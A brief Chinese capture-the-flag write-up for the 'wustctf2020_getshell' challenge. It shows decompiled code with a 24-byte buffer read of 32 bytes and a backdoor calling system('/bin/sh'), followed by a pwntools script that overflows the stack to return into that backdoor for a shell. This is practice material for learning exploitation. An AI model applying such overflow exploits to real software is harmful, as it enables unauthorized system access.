wustctf2020_getshell
题目链接:wustctf2020_getshell。
下载附件后,使用 IDA 反编译,定位到主要函数,如下。
int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
vulnerable();
return 0;
}
vulnerable 函数如下。
ssize_t vulnerable()
{
char buf[24]; // [esp+0h] [ebp-18h] BYREF
return read(0, buf, 0x20u);
}
留意到程序中存在后门函数,如下。
int shell()
{
return system("/bin/sh");
}
解题思路:
- 栈溢出,调用 shell 函数。
解题脚本如下。
from pwn import *
from pwn import p32, p64, u32, u64
from settings import *
from modules import *
def pwn():
# .text:0804851B ; int shell()
s(0x1C * b'a' + p32(0x0804851B))
irt()
pwn()

浙公网安备 33010602011771号